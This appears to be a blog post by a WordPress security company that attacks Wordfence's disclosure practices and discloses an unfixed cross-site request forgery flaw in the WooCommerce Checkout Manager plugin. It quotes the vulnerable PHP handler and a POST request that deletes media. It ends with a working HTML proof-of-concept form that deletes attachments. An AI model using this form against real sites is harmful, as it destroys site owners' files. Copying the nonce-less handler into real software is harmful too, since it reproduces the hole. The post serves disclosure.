Wordfence Exposes Unfixed Vulnerability in WordPress Plugin in Post Criticizing Us for Doing the Same
The people behind the Wordfence Security plugin do some strange stuff. For example, in a recent post they again referred to us as an “unnamed security researcher”:
The file upload vulnerability was initially made public in a report by an unnamed security researcher, which was irresponsibly published on April 23rd without privately notifying the plugin’s author.
They know who we are, but for whatever strange reason they keep referring to us that way. It is especially odd since we have never claimed to be security researchers nor are we.
What makes that sentence even worse is that the very post they wrote that in publicly exposes an unfixed and previously undisclosed cross-site request forgery (CSRF) vulnerability in the plugin being discussed in their post, WooCommerce Checkout Manager.
Before we get to that it is important to note that as is so often the case they are unintentionally admitting to not doing a good job of things they claim to be better at. They write this:
At this time, we have not identified significant exploitation of either of these vulnerabilities.
That was posted on May 2, but we had already seen hackers probing for usage on the plugin on April 24 and publicly noted that the next day. That might explain why they don’t mention who really are, since people would know that there is a company keep ahead of vulnerabilities instead of warning people after they have been widely exploited (at which point Wordfence advertises doing cleanups of the hacks they could have helped to avoid instead).
CSRF Hasn’t Been Fixed
In Wordfence’s post they note that following function allows for deleting files handled through WordPress media system:
2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 | function update_attachment_wccm_callback() { global $post, $wpdb, $woocommerce; $array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) ); $array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) ); $attachment_ids = array_diff( $array1, $array2 ); if( isset( $_POST['wccm_default_keys_load'] ) ) { if( !empty( $attachment_ids ) ) { foreach( $attachment_ids as $key => $values ) { wp_delete_attachment( $attachment_ids[$key] ); } } echo __('Deleted successfully.','woocommerce-checkout-manager'); } die(); } |
Wordfence notes that this was only intended for high level users, but was accessible to anyone:
The function is only intended for Administrator and Shop Manager users, but was available to unauthenticated users due to its additional nopriv_ registration and a lack of capabilities checks.
What should be fairly obvious to anyone that deals with vulnerabilities is that also missing there is a nonce check to prevent cross-site request forgery (CSRF), otherwise an attacker can cause someone that is intended to have access to it, to delete media without intending it.
While Wordfence, again for some strange reason, makes a big deal of us including proof of concepts with our reports, their post includes one as well, but just doesn’t refer to it that way (Do they think that using the phrase “proof of concept” is the real issue?):
For example, to delete any media files with IDs from 1 to 10, you’d send a POST request to http://example[.]com/wp-admin/admin-ajax.php?action=update_attachment_wccm with the POST body wccm_default_keys_load=1,2,3,4,5,6,7,8,9,10.
Somehow despite doing that they missed the lack of protection against CSRF.
In the version Wordfence claims fixes the issue the function has been changed to this:
2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 | function update_attachment_wccm_callback() { global $post, $wpdb, $woocommerce; // Check the User has the manage_woocommerce capability if( current_user_can( 'manage_woocommerce' ) == false ) die(); $array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) ); $array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) ); $attachment_ids = array_diff( $array1, $array2 ); if( isset( $_POST['wccm_default_keys_load'] ) ) { if( !empty( $attachment_ids ) ) { foreach( $attachment_ids as $key => $attachtoremove ) { // Check the Attachment exists... if( get_post_status( $attachtoremove ) == false ) continue; // Check the Attachment is associated with an Order $post_parent = get_post_field( 'post_parent', $attachtoremove ); if( empty( $post_parent ) ) { continue; } else { if( get_post_type( $post_parent ) <> 'shop_order' ) continue; } // Delete the Attachment wp_delete_attachment( $attachtoremove ); } } echo __('Deleted successfully.','woocommerce-checkout-manager'); } die(); } |
That adds a capabilities check:
2175 2176 | if( current_user_can( 'manage_woocommerce' ) == false ) die(); |
But there is no nonce check.
The changes to the code also limit media files that can be deleted to only ones handled by the plugin.
We have notified the developer of the disclosure.
Proof of Concept
The following proof of concept will delete any files uploaded through this plugin with IDs 1-10.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_attachment_wccm" method="POST"> <input type="hidden" name="wccm_default_keys_load" value="1,2,3,4,5,6,7,8,9,10" /> <input type="submit" value="Submit" /> </form> </body> </html>